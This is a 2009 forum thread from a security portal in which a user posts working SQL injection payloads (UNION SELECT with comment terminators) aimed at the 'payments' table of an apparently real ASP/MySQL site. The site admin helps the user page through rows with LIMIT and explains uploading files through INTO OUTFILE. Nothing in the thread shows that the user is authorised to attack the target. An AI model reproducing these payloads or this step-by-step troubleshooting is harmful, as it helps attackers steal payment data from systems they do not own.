Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 625
Members: 0
Total: 625
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Hlep me query in sql injection
Post new topic  Reply to topic View previous topic :: View next topic 
Hlep me query in sql injection
PostPosted: Sat Mar 21, 2009 6:57 pm Reply with quote
ukzz
Regular user
Regular user
 
Joined: Feb 05, 2009
Posts: 22




I have a asp site use mysql data
I can get comlun , table in normal
But when i try to get data
-1' union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,OrderID,45,46,47,48,49,50 from payments+/*

I cant get

It's show 2 error:

IIS ASP max request time out

Or

Microsoft OLE DB Provider for ODBC Drivers error '80040e31'

[MySQL][ODBC 3.51 Driver][mysqld-5.0.19-nt]MySQL client ran out of memory


I tried used where exp but still this error

Any one can help me query ?
View user's profile Send private message
PostPosted: Sat Mar 21, 2009 7:09 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Use LIMIT, for example "LIMIT 0,100". Without limiting it's too much data for database and/or webserver and thus the errors.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Mar 21, 2009 7:34 pm Reply with quote
ukzz
Regular user
Regular user
 
Joined: Feb 05, 2009
Posts: 22




thanks waraxe for answer
But can u tell me details
Cause i dont know limit syntax:(
View user's profile Send private message
PostPosted: Sat Mar 21, 2009 7:47 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




http://dev.mysql.com/doc/refman/5.0/en/select.html

Code:

The LIMIT clause can be used to constrain the number of rows returned by the SELECT statement. LIMIT takes one or two numeric arguments, which must both be non-negative integer constants (except when using prepared statements).

With two arguments, the first argument specifies the offset of the first row to return, and the second specifies the maximum number of rows to return. The offset of the initial row is 0 (not 1):

SELECT * FROM tbl LIMIT 5,10;  # Retrieve rows 6-15

To retrieve all rows from a certain offset up to the end of the result set, you can use some large number for the second parameter. This statement retrieves all rows from the 96th row to the last:

SELECT * FROM tbl LIMIT 95,18446744073709551615;

With one argument, the value specifies the number of rows to return from the beginning of the result set:

SELECT * FROM tbl LIMIT 5;     # Retrieve first 5 rows

In other words, LIMIT row_count is equivalent to LIMIT 0, row_count.


Basically you just add that LIMIT stuff to the end of the query Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Mar 21, 2009 8:03 pm Reply with quote
ukzz
Regular user
Regular user
 
Joined: Feb 05, 2009
Posts: 22




thanks waraxe , i can get data now
but....
-1' union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,Name,49,50 from payments limit 5--+/* >> it's ok


union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,OrderID,49,50 from payments limit 5--+/* >> it's show ???????

I cant get any data like number , all of them show ???

what can i do?

Can i upload via sql ?
View user's profile Send private message
PostPosted: Sat Mar 21, 2009 9:01 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




First 100 rows:

Code:
LIMIT 0,100


Next 100 rows:

Code:
LIMIT 100,100


Next 100 rows:

Code:
LIMIT 200,100


About uplaod via sql - there is mysql feature called "INSERT INTO OUTFILE", but it needs FILE privilege and in most real-world scenarios you don't have it.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Mar 22, 2009 10:57 am Reply with quote
ukzz
Regular user
Regular user
 
Joined: Feb 05, 2009
Posts: 22




i tried but maybe no luck
[MySQL][ODBC 3.51 Driver][mysqld-5.0.19-nt]Access denied for user 'pds'@'172.16.xxx.%' (using password: YES)

But thanks for waraxe with usefull post.

Do u have Yahoo chat?

I want to chat with u and donate something for forums.

Can u pm me your YIM./
View user's profile Send private message
Hlep me query in sql injection
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.157 Seconds